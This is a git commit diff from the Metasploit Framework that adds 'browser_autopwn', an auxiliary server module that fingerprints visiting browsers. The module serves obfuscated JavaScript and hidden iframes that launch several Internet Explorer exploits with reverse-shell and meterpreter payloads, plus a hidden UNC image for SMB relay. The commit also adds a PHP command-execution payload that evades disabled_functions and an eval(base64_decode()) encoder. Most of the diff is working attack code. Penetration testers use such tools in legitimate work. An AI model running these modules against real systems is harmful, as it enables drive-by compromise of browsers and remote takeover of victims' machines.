initial commit of browser_autopwn;
revamp php payloads; socks5 for IPv6 (untested) git-svn-id: file:///home/svn/framework3/trunk@5546 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
3c64c454df
commit
8800372e46
|
@ -443,6 +443,7 @@ protected
|
||||||
cli.send_response(response)
|
cli.send_response(response)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Sends a 302 redirect relative to our base path
|
# Sends a 302 redirect relative to our base path
|
||||||
#
|
#
|
||||||
|
@ -451,6 +452,27 @@ protected
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sends a 404
|
||||||
|
#
|
||||||
|
def send_not_found(cli)
|
||||||
|
resp_404 = create_response(404, 'Not Found')
|
||||||
|
resp_404.body = %Q{
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||||
|
<html><head>
|
||||||
|
<title>404 Not Found</title>
|
||||||
|
</head><body>
|
||||||
|
<h1>Not Found</h1>
|
||||||
|
<p>The requested URL /404.html was not found on this server.</p>
|
||||||
|
<hr>
|
||||||
|
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
|
||||||
|
</body></html>
|
||||||
|
}
|
||||||
|
|
||||||
|
cli.send_response(resp_404)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the configured (or random, if not configured) URI path
|
# Returns the configured (or random, if not configured) URI path
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,147 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module Msf::Payload::Php
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(info)
|
||||||
|
end
|
||||||
|
|
||||||
|
def php_preamble(options = {})
|
||||||
|
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||||
|
dis = '$' + dis if (dis[0,1] != '$')
|
||||||
|
|
||||||
|
@dis = dis
|
||||||
|
|
||||||
|
preamble = "
|
||||||
|
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
|
||||||
|
#{dis}=@ini_get('disable_functions');
|
||||||
|
if(!empty(#{dis})){
|
||||||
|
#{dis}=preg_replace('/[, ]+/', ',', #{dis});
|
||||||
|
#{dis}=explode(',', #{dis});
|
||||||
|
#{dis}=array_map('trim', #{dis});
|
||||||
|
}else{
|
||||||
|
#{dis}=array();
|
||||||
|
}
|
||||||
|
"
|
||||||
|
return preamble
|
||||||
|
end
|
||||||
|
|
||||||
|
def php_system_block(options = {})
|
||||||
|
cmd = options[:cmd_varname] || '$cmd'
|
||||||
|
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||||
|
output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||||
|
|
||||||
|
if (@dis.nil?)
|
||||||
|
@dis = dis
|
||||||
|
end
|
||||||
|
|
||||||
|
cmd = '$' + cmd if (cmd[0,1] != '$')
|
||||||
|
dis = '$' + dis if (dis[0,1] != '$')
|
||||||
|
output = '$' + output if (output[0,1] != '$')
|
||||||
|
|
||||||
|
is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||||
|
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||||
|
|
||||||
|
setup = "
|
||||||
|
#{cmd}=#{cmd}.\" 2>&1\\n\";
|
||||||
|
#{is_callable}='is_callable';
|
||||||
|
#{in_array}='in_array';
|
||||||
|
"
|
||||||
|
shell_exec = "
|
||||||
|
if(#{is_callable}('shell_exec')and!#{in_array}('shell_exec',#{dis})){
|
||||||
|
#{output}=shell_exec(#{cmd});
|
||||||
|
}else"
|
||||||
|
passthru = "
|
||||||
|
if(#{is_callable}('passthru')and!#{in_array}('passthru',#{dis})){
|
||||||
|
ob_start();
|
||||||
|
passthru(#{cmd});
|
||||||
|
#{output}=ob_get_contents();
|
||||||
|
ob_end_clean();
|
||||||
|
}else"
|
||||||
|
system = "
|
||||||
|
if(#{is_callable}('system')and!#{in_array}('system',#{dis})){
|
||||||
|
ob_start();
|
||||||
|
system(#{cmd});
|
||||||
|
#{output}=ob_get_contents();
|
||||||
|
ob_end_clean();
|
||||||
|
}else"
|
||||||
|
exec = "
|
||||||
|
if(#{is_callable}('exec')and!#{in_array}('exec',#{dis})){
|
||||||
|
#{output}=array();
|
||||||
|
exec(#{cmd},#{output});
|
||||||
|
#{output}=join(chr(10),#{output}).chr(10);
|
||||||
|
}else"
|
||||||
|
proc_open = "
|
||||||
|
if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){
|
||||||
|
$handle=proc_open(#{cmd},array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes);
|
||||||
|
#{output}=NULL;
|
||||||
|
while(!feof($pipes[1])){
|
||||||
|
#{output}.=fread($pipes[1],1024);
|
||||||
|
}
|
||||||
|
@proc_close($handle);
|
||||||
|
}else"
|
||||||
|
popen = "
|
||||||
|
if(#{is_callable}('popen')and!#{in_array}('popen',#{dis})){
|
||||||
|
$fp=popen(#{cmd},r);
|
||||||
|
#{output}=NULL;
|
||||||
|
if(is_resource($fp)){
|
||||||
|
while(!feof($fp)){
|
||||||
|
#{output}.=fread($fp,1024);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
@pclose($fp);
|
||||||
|
}else"
|
||||||
|
fail_block = "
|
||||||
|
{
|
||||||
|
#{output}=0;
|
||||||
|
}
|
||||||
|
"
|
||||||
|
|
||||||
|
#exec_methods = [shell_exec, passthru, system, exec, proc_open, popen].sort_by { rand }
|
||||||
|
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]#.sort_by { rand }
|
||||||
|
buf = setup + exec_methods.join("") + fail_block
|
||||||
|
#buf = Rex::Text.compress(buf)
|
||||||
|
|
||||||
|
###
|
||||||
|
# All of this junk should go in an encoder
|
||||||
|
#
|
||||||
|
# Replace all single-quoted strings with quoteless equivalents, e.g.:
|
||||||
|
# echo('asdf');
|
||||||
|
# becomes
|
||||||
|
# echo($a.$s.$d.$f);
|
||||||
|
# and add "$a=chr(97);" et al to the top of the block
|
||||||
|
#
|
||||||
|
# Once this is complete, it is guaranteed that there are no spaces
|
||||||
|
# inside strings. This combined with the fact that there are no
|
||||||
|
# function definitions, which require a space between the "function"
|
||||||
|
# keyword and the name, means we can completely remove spaces.
|
||||||
|
#
|
||||||
|
#alpha_used = { 95 }
|
||||||
|
#buf.gsub!(/'(.*?)'/) {
|
||||||
|
# str_array = []
|
||||||
|
# $1.each_byte { |c|
|
||||||
|
# if (('a'..'z').include?(c.chr))
|
||||||
|
# alpha_used[c] = 1
|
||||||
|
# str_array << "$#{c.chr}."
|
||||||
|
# else
|
||||||
|
# str_array << "chr(#{c})."
|
||||||
|
# end
|
||||||
|
# }
|
||||||
|
# str_array.last.chop!
|
||||||
|
# str_array.join("")
|
||||||
|
#}
|
||||||
|
#if (alpha_used.length > 1)
|
||||||
|
# alpha_used.each_key { |k| buf = "$#{k.chr}=chr(#{k});" + buf }
|
||||||
|
#end
|
||||||
|
#
|
||||||
|
#buf.gsub!(/\s*/, '')
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
return buf
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -39,7 +39,7 @@ class ObfuscateJS
|
||||||
# Returns the dynamic symbol associated with the supplied symbol name
|
# Returns the dynamic symbol associated with the supplied symbol name
|
||||||
#
|
#
|
||||||
def sym(name)
|
def sym(name)
|
||||||
@dynsym[name]
|
@dynsym[name] || name
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -213,12 +213,13 @@ class Rex::Socket::Comm::Local
|
||||||
|
|
||||||
def self.proxy (sock, type, host, port)
|
def self.proxy (sock, type, host, port)
|
||||||
|
|
||||||
|
#$stdout.print("PROXY\n")
|
||||||
case type.downcase
|
case type.downcase
|
||||||
when 'socks4'
|
when 'socks4'
|
||||||
setup = [4,1,port.to_i].pack('CCn') + Socket.gethostbyname(host)[3] + Rex::Text.rand_text_alpha(rand(8)+1) + "\x00"
|
setup = [4,1,port.to_i].pack('CCn') + Socket.gethostbyname(host)[3] + Rex::Text.rand_text_alpha(rand(8)+1) + "\x00"
|
||||||
size = sock.put(setup)
|
size = sock.put(setup)
|
||||||
if (size != setup.length)
|
if (size != setup.length)
|
||||||
raise ArgumentError, "Wrote less data than expected to the socks proxy"
|
raise ArgumentError, "Wrote less data than expected to the socks4 proxy"
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
@ -234,21 +235,33 @@ class Rex::Socket::Comm::Local
|
||||||
raise "SOCKS4 server responded with error code #{ret[0]}"
|
raise "SOCKS4 server responded with error code #{ret[0]}"
|
||||||
end
|
end
|
||||||
when 'socks5'
|
when 'socks5'
|
||||||
# TODO: add dns lookups through socks5
|
|
||||||
auth_methods = [5,1,0].pack('CCC')
|
auth_methods = [5,1,0].pack('CCC')
|
||||||
size = sock.put(auth_methods)
|
size = sock.put(auth_methods)
|
||||||
if (size != auth_methods.length)
|
if (size != auth_methods.length)
|
||||||
raise ArgumentError, "Wrote less data than expected to the socks proxy"
|
raise ArgumentError, "Wrote less data than expected to the socks5 proxy"
|
||||||
end
|
end
|
||||||
response = sock.get_once(2,30)
|
response = sock.get_once(2,30)
|
||||||
if (0xff == response[1,1])
|
if (0xff == response[1,1])
|
||||||
raise ArgumentError, "Proxy requires authentication"
|
raise ArgumentError, "Proxy requires authentication"
|
||||||
end
|
end
|
||||||
|
|
||||||
setup = [5,1,0,1].pack('CCCC') + Socket.gethostbyname(host)[3] + [port.to_i].pack('n')
|
if (Rex::Socket.is_ipv4?(host))
|
||||||
|
addr = Rex::Socket.gethostbyname(host)[3]
|
||||||
|
setup = [5,1,0,1].pack('C4') + addr + [port.to_i].pack('n')
|
||||||
|
elsif (Rex::Socket.support_ipv6? and Rex::Socket.is_ipv6?(host))
|
||||||
|
# IPv6 stuff all untested
|
||||||
|
addr = Rex::Socket.gethostbyname(host)[3]
|
||||||
|
setup = [5,1,0,4].pack('C4') + addr + [port.to_i].pack('n')
|
||||||
|
else
|
||||||
|
# Then it must be a domain name.
|
||||||
|
# Unfortunately, it looks like the host has always been
|
||||||
|
# resolved by the time it gets here, so this code never runs.
|
||||||
|
setup = [5,1,0,3].pack('C4') + [host.length].pack('C') + host + [port.to_i].pack('n')
|
||||||
|
end
|
||||||
|
|
||||||
size = sock.put(setup)
|
size = sock.put(setup)
|
||||||
if (size != setup.length)
|
if (size != setup.length)
|
||||||
raise ArgumentError, "Wrote less data than expected to the socks proxy"
|
raise ArgumentError, "Wrote less data than expected to the socks5 proxy"
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
@ -257,7 +270,7 @@ class Rex::Socket::Comm::Local
|
||||||
raise Rex::ConnectionRefused.new(host, port), caller
|
raise Rex::ConnectionRefused.new(host, port), caller
|
||||||
end
|
end
|
||||||
|
|
||||||
if (response.nil? or response.length < 8)
|
if (response.nil? or response.length < 10)
|
||||||
raise ArgumentError, 'SOCKS5 server did not respond with a proper response'
|
raise ArgumentError, 'SOCKS5 server did not respond with a proper response'
|
||||||
end
|
end
|
||||||
if response[1] != 0
|
if response[1] != 0
|
||||||
|
|
|
@ -0,0 +1,309 @@
|
||||||
|
##
|
||||||
|
# $Id:$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/projects/Framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary
|
||||||
|
|
||||||
|
BROWSER_IE = "MSIE"
|
||||||
|
BROWSER_FF = "Firefox"
|
||||||
|
BROWSER_SAFARI = "Safari"
|
||||||
|
OS_LINUX = "Linux"
|
||||||
|
OS_MAC_OSX = "Mac OSX"
|
||||||
|
OS_WINDOWS = "Windows"
|
||||||
|
|
||||||
|
include Exploit::Remote::HttpServer::HTML
|
||||||
|
include Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'HTTP Client fingerprinter',
|
||||||
|
'Version' => '$Revision: $',
|
||||||
|
'Description' => %q{
|
||||||
|
Webbrowser fingerprinter and autoexploiter.
|
||||||
|
},
|
||||||
|
'Author' => 'egypt <egypt@nmt.edu>',
|
||||||
|
'License' => BSD_LICENSE,
|
||||||
|
'Actions' =>
|
||||||
|
[
|
||||||
|
[ 'WebServer' ]
|
||||||
|
],
|
||||||
|
'PassiveActions' =>
|
||||||
|
[
|
||||||
|
'WebServer'
|
||||||
|
],
|
||||||
|
'DefaultAction' => 'WebServer'))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptAddress.new('LHOST', [true, 'Your local IP address ror reverse payloads']),
|
||||||
|
OptPort.new('LPORT', [false, 'For reverse payloads; incremented for each exploit', 4444])
|
||||||
|
])
|
||||||
|
|
||||||
|
@exploits = Hash.new
|
||||||
|
end
|
||||||
|
def init_exploit(name)
|
||||||
|
case name
|
||||||
|
when %r#exploit/windows#
|
||||||
|
payload='windows/meterpreter/reverse_tcp'
|
||||||
|
else
|
||||||
|
payload='generic/shell_reverse_tcp'
|
||||||
|
end
|
||||||
|
@exploits[name] = framework.modules.create(name)
|
||||||
|
@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
|
||||||
|
|
||||||
|
# for testing, set the exploit uri to the name of the exploit so it's
|
||||||
|
# easy to tell what is happening from the browser
|
||||||
|
@exploits[name].datastore['URIPATH'] = name
|
||||||
|
|
||||||
|
@exploits[name].datastore['LPORT'] = @lport
|
||||||
|
@exploits[name].datastore['LHOST'] = @lhost
|
||||||
|
@exploits[name].exploit_simple(
|
||||||
|
'LocalInput' => self.user_input,
|
||||||
|
'LocalOutput' => self.user_output,
|
||||||
|
'Target' => 0,
|
||||||
|
'Payload' => payload,
|
||||||
|
'RunAsJob' => true)
|
||||||
|
|
||||||
|
#print_status("#{name} at uri #{@exploits[name].get_resource} with payload #{payload} and lport #{@lport}")
|
||||||
|
@lport += 1
|
||||||
|
end
|
||||||
|
|
||||||
|
def setup()
|
||||||
|
super
|
||||||
|
@lport = datastore['LPORT'] || 4444
|
||||||
|
@lhost = datastore['LHOST']
|
||||||
|
@lport = @lport.to_i
|
||||||
|
print_status("Starting exploit modules...")
|
||||||
|
|
||||||
|
##
|
||||||
|
# Start all the exploit modules
|
||||||
|
##
|
||||||
|
|
||||||
|
# TODO: add an Automatic target to this guy.
|
||||||
|
# For now just use the default target of Mac.
|
||||||
|
# requires javascript
|
||||||
|
#init_exploit('exploit/multi/browser/firefox_queryinterface')
|
||||||
|
|
||||||
|
# works on iPhone
|
||||||
|
# does not require javascript
|
||||||
|
#init_exploit('exploit/osx/armle/safari_libtiff')
|
||||||
|
|
||||||
|
#init_exploit('exploit/osx/browser/software_update')
|
||||||
|
#init_exploit('exploit/windows/browser/ani_loadimage_chunksize')
|
||||||
|
#init_exploit('exploit/windows/browser/apple_quicktime_rtsp')
|
||||||
|
|
||||||
|
# Works on default IE 5.5 and 6
|
||||||
|
# does not require javascript
|
||||||
|
init_exploit('exploit/windows/browser/ms03_020_ie_objecttype')
|
||||||
|
|
||||||
|
# requires javascript
|
||||||
|
init_exploit('exploit/windows/browser/novelliprint_getdriversettings');
|
||||||
|
|
||||||
|
# requires javascript
|
||||||
|
#init_exploit('exploit/windows/browser/ms06_055_vml_method')
|
||||||
|
|
||||||
|
# Works on default IE 5 and 6
|
||||||
|
# requires javascript
|
||||||
|
# requires ActiveXObject('DirectAnimation.PathControl')
|
||||||
|
init_exploit('exploit/windows/browser/ms06_067_keyframe')
|
||||||
|
|
||||||
|
# only works on IE with XML Core Services
|
||||||
|
# requires javascript
|
||||||
|
# requires classid 88d969c5-f192-11d4-a65f-0040963251e5
|
||||||
|
init_exploit('exploit/windows/browser/ms06_071_xml_core')
|
||||||
|
|
||||||
|
#init_exploit('exploit/windows/browser/winamp_playlist_unc')
|
||||||
|
|
||||||
|
# requires UNC path which seems to only work on IE in my tests
|
||||||
|
#init_exploit('exploit/windows/smb/smb_relay')
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
||||||
|
|
||||||
|
browser_make = nil
|
||||||
|
browser_ver = nil
|
||||||
|
|
||||||
|
ua = request['User-Agent']
|
||||||
|
case (ua)
|
||||||
|
when /Firefox\/((:?[0-9]+\.)+[0-9]+)/:
|
||||||
|
ua_name = BROWSER_FF
|
||||||
|
ua_vers = $1
|
||||||
|
when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/:
|
||||||
|
ua_name = BROWSER_IE
|
||||||
|
ua_vers = $1
|
||||||
|
when /Version\/(\d+\.\d+\.\d+).*Safari/
|
||||||
|
ua_name = BROWSER_SAFARI
|
||||||
|
ua_vers = $1
|
||||||
|
end
|
||||||
|
case (ua)
|
||||||
|
when /Windows/:
|
||||||
|
os_name = OS_WINDOWS
|
||||||
|
when /Linux/:
|
||||||
|
os_name = OS_LINUX
|
||||||
|
when /iPhone/
|
||||||
|
os_name = OS_MAC_OSX
|
||||||
|
os_arch = 'armle'
|
||||||
|
when /Mac OS X/
|
||||||
|
os_name = OS_MAC_OSX
|
||||||
|
end
|
||||||
|
case (ua)
|
||||||
|
when /PPC/
|
||||||
|
os_arch = 'ppc'
|
||||||
|
when /i.86/
|
||||||
|
os_arch = 'x86'
|
||||||
|
end
|
||||||
|
|
||||||
|
os_name ||= 'Unknown'
|
||||||
|
|
||||||
|
print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name}")
|
||||||
|
report_note(
|
||||||
|
:host => cli.peerhost,
|
||||||
|
:type => 'http_request',
|
||||||
|
:data => "#{os_name} #{os_arch} #{ua_name} #{ua_vers}"
|
||||||
|
)
|
||||||
|
|
||||||
|
response = create_response()
|
||||||
|
|
||||||
|
case request.uri
|
||||||
|
when datastore['URIPATH']:
|
||||||
|
# TODO: consider having a javascript timeout function that writes
|
||||||
|
# each exploit's iframe so they don't step on each other.
|
||||||
|
|
||||||
|
# for smb_relay
|
||||||
|
windows_html = %Q{
|
||||||
|
<div id="windows">
|
||||||
|
<img src="\\\\#{@lhost}\\public\\#{Rex::Text.rand_text_alpha(15)}.jpg" style="visibility:hidden" height="1px" width="1px" />
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
#osx_html = %Q{
|
||||||
|
# <div id="osx">
|
||||||
|
# <iframe src="#{@exploits['exploit/osx/armle/safari_libtiff'].get_resource}"
|
||||||
|
# style="visibility:hidden" height="1px" width="1px" border="none"
|
||||||
|
# ></iframe>'+
|
||||||
|
# </div>
|
||||||
|
# }
|
||||||
|
|
||||||
|
var_onload_func = Rex::Text.rand_text_alpha(8)
|
||||||
|
objects = {
|
||||||
|
'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource,
|
||||||
|
'{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource,
|
||||||
|
'{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource,
|
||||||
|
}
|
||||||
|
hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join
|
||||||
|
hash_declaration = hash_declaration[0,hash_declaration.length-1]
|
||||||
|
|
||||||
|
script = <<ENDJS
|
||||||
|
// stolen from http://www.mojavelinux.com/articles/javascript_hashes.html
|
||||||
|
function Hash()
|
||||||
|
{
|
||||||
|
this.length = 0;
|
||||||
|
this.items = new Array();
|
||||||
|
for (var current_item = 0; current_item < arguments.length; current_item += 2) {
|
||||||
|
if (typeof(arguments[current_item + 1]) != 'undefined') {
|
||||||
|
this.items[arguments[current_item]] = arguments[current_item + 1];
|
||||||
|
this.length++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function BodyOnLoad() {
|
||||||
|
var vuln_obj = null;
|
||||||
|
var body_elem = document.getElementById('body_id');
|
||||||
|
// object_list contains key-value pairs like
|
||||||
|
// {classid} => /path/to/exploit/for/classid
|
||||||
|
// and
|
||||||
|
// ActiveXname => /path/to/exploit/for/ActiveXname
|
||||||
|
var object_list = new Hash(#{hash_declaration});
|
||||||
|
|
||||||
|
if (navigator.userAgent.indexof("MSIE") != -1) {
|
||||||
|
// iterate through our list of exploits
|
||||||
|
for (var current_item in object_list.items) {
|
||||||
|
// classids are stored surrounded in braces for an easy way to tell
|
||||||
|
// them from ActiveX object names, so if it has braces, strip them
|
||||||
|
// out and create an object element with that classid
|
||||||
|
if (current_item.substring(0,1) == '{') {
|
||||||
|
obj_element = document.createElement("object");
|
||||||
|
obj_element.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + current_item.substring( 1, current_item.length - 1 ) ) ;
|
||||||
|
obj_element.setAttribute("id", current_item);
|
||||||
|
body_elem.appendChild(obj_element);
|
||||||
|
vuln_obj = document.getElementById(current_item);
|
||||||
|
} else {
|
||||||
|
// otherwise, try to create an AXO with that name
|
||||||
|
try { vuln_obj = new ActiveXObject(current_item); } catch(e){}
|
||||||
|
}
|
||||||
|
if (vuln_obj) {
|
||||||
|
body_elem.innerHTML += '<p>' + object_list.items[current_item] + '</p>';
|
||||||
|
//body_elem.innerHTML += '<iframe src="'+
|
||||||
|
// object_list.items[current_item] +
|
||||||
|
// '" style="visibility:hidden" height="1px" width="1px" border="none"></iframe>';
|
||||||
|
}
|
||||||
|
vuln_obj = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ENDJS
|
||||||
|
js = Rex::Exploitation::ObfuscateJS.new(script)
|
||||||
|
js.obfuscate(
|
||||||
|
'Symbols' => {
|
||||||
|
'Variables' => [ 'object_list', 'obj_element', 'vuln_obj', 'body_elem', 'body_id', 'current_item', 'Hash', 'items', 'BodyOnLoad' ]
|
||||||
|
}
|
||||||
|
)
|
||||||
|
body = <<ENDHTML
|
||||||
|
<body id="#{js.sym('body_id')}" onload="#{js.sym('BodyOnLoad')}()">
|
||||||
|
<h1>Please wait while we connect you...</h1>
|
||||||
|
<!--[if lt IE 7]>
|
||||||
|
<iframe src="#{@exploits['exploit/windows/browser/ms03_020_ie_objecttype'].get_resource}"
|
||||||
|
style="visibility:hidden" height="1px" width="1px" border="none"
|
||||||
|
></iframe>
|
||||||
|
<![endif]-->
|
||||||
|
ENDHTML
|
||||||
|
#body << " <!--[if IE ]> "
|
||||||
|
#objects.each { |k,v|
|
||||||
|
# body << "<object classid=\"clsid:#{k[1,k.length-1]}\" id=\"#{k}\"></object>\n";
|
||||||
|
#}
|
||||||
|
#body << " <![endif]--> "
|
||||||
|
|
||||||
|
response.body = ' <html> <head> <title> Loading </title> '
|
||||||
|
response.body << ' <script language="javascript">' + script + ' </script> </head> ' + body
|
||||||
|
|
||||||
|
if (os_name == OS_WINDOWS)
|
||||||
|
response.body << windows_html
|
||||||
|
end
|
||||||
|
if (os_name == OS_MAC_OSX)
|
||||||
|
response.body << osx_html
|
||||||
|
end
|
||||||
|
response.body << "</body></html>"
|
||||||
|
response.body = Rex::Text.randomize_space(response.body)
|
||||||
|
else
|
||||||
|
print_error("I don't know how to handle that request #{request.uri}, sending 404")
|
||||||
|
send_not_found(cli)
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
response['Expires'] = '0'
|
||||||
|
response['Cache-Control'] = 'must-revalidate'
|
||||||
|
|
||||||
|
cli.send_response(response)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
exploit()
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
|
=end
|
|
@ -134,7 +134,7 @@ class Auxiliary::Server::Capture::HTTP < Msf::Auxiliary
|
||||||
os_name = 'iPhone'
|
os_name = 'iPhone'
|
||||||
os_arch = 'armle'
|
os_arch = 'armle'
|
||||||
when /Mac OS X/
|
when /Mac OS X/
|
||||||
os = 'Mac'
|
os_name = 'Mac'
|
||||||
end
|
end
|
||||||
|
|
||||||
case (ua)
|
case (ua)
|
||||||
|
|
|
@ -0,0 +1,72 @@
|
||||||
|
##
|
||||||
|
# $Id: $
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/projects/Framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Encoders
|
||||||
|
module Php
|
||||||
|
|
||||||
|
class Base64 < Msf::Encoder
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'PHP Base64 encoder',
|
||||||
|
'Version' => '$Revision: $',
|
||||||
|
'Description' => %q{
|
||||||
|
This encoder returns a base64 string encapsulated in
|
||||||
|
eval(base64_decode()), increasing the size by roughly one
|
||||||
|
third.
|
||||||
|
},
|
||||||
|
'Author' => 'egypt <egypt@nmt.edu>',
|
||||||
|
'License' => BSD_LICENSE,
|
||||||
|
'Arch' => ARCH_PHP)
|
||||||
|
end
|
||||||
|
|
||||||
|
def encode_block(state, buf)
|
||||||
|
# PHP escapes quotes by default with magic_quotes_gpc, so we use some
|
||||||
|
# tricks to get around using them.
|
||||||
|
#
|
||||||
|
# The raw, unquoted base64 without the terminating equals works because
|
||||||
|
# PHP treats it like a string. There are, however, a couple of caveats
|
||||||
|
# because first, PHP tries to parse the bare string as a constant.
|
||||||
|
# Because of this, the string is limited to things that can be
|
||||||
|
# identifiers, i.e., things that start with [a-zA-Z] and contain only
|
||||||
|
# [a-zA-Z0-9_]. Also, for payloads that encode to more than 998
|
||||||
|
# characters, only part of the payload gets unencoded on the victim,
|
||||||
|
# presumably due to a limitation in php identifier names, so we break
|
||||||
|
# the encoded payload into roughly 900-byte chunks.
|
||||||
|
b64 = Rex::Text.encode_base64(buf)
|
||||||
|
|
||||||
|
# The '=' or '==' used for padding at the end of the base64 encoded
|
||||||
|
# data is unnecessary and can cause parse errors when we use it as a
|
||||||
|
# raw string, so strip it off.
|
||||||
|
b64.gsub!(/[=\n]+/, '')
|
||||||
|
|
||||||
|
b64.gsub!(/[+]/, '.chr(0x2b).')
|
||||||
|
i = 900;
|
||||||
|
while i < b64.length
|
||||||
|
while (b64[i].chr =~ /^[0-9]/)
|
||||||
|
# We must be careful not to begin a chunk with a digit because
|
||||||
|
# then PHP thinks it's a number and chokes.
|
||||||
|
i += 1
|
||||||
|
end
|
||||||
|
b64.insert(i,'.')
|
||||||
|
i += 900
|
||||||
|
end
|
||||||
|
|
||||||
|
return "eval(base64_decode(" + b64 + "));"
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end end
|
|
@ -70,7 +70,7 @@ class Exploits::Multi::Browser::Firefox_QueryInterface < Msf::Exploit::Remote
|
||||||
# Re-generate the payload
|
# Re-generate the payload
|
||||||
return if ((p = regenerate_payload(cli)) == nil)
|
return if ((p = regenerate_payload(cli)) == nil)
|
||||||
|
|
||||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
||||||
handler(cli)
|
handler(cli)
|
||||||
end
|
end
|
||||||
|
|
|
@ -85,7 +85,7 @@ class Exploits::Osx::Armle::SafariLibTIFF < Msf::Exploit::Remote
|
||||||
# Grab reference to the target
|
# Grab reference to the target
|
||||||
t = target
|
t = target
|
||||||
|
|
||||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
|
||||||
# Transmit the compressed response to the client
|
# Transmit the compressed response to the client
|
||||||
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
|
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
|
||||||
|
|
|
@ -73,7 +73,7 @@ class Exploits::Osx::Browser::SafariLibTIFF < Msf::Exploit::Remote
|
||||||
# Grab reference to the target
|
# Grab reference to the target
|
||||||
t = target
|
t = target
|
||||||
|
|
||||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
|
||||||
# Transmit the compressed response to the client
|
# Transmit the compressed response to the client
|
||||||
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
|
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
|
||||||
|
|
|
@ -290,7 +290,7 @@ include Exploit::Remote::HttpServer::HTML
|
||||||
# Re-generate the payload
|
# Re-generate the payload
|
||||||
return if ((p = regenerate_payload(cli)) == nil)
|
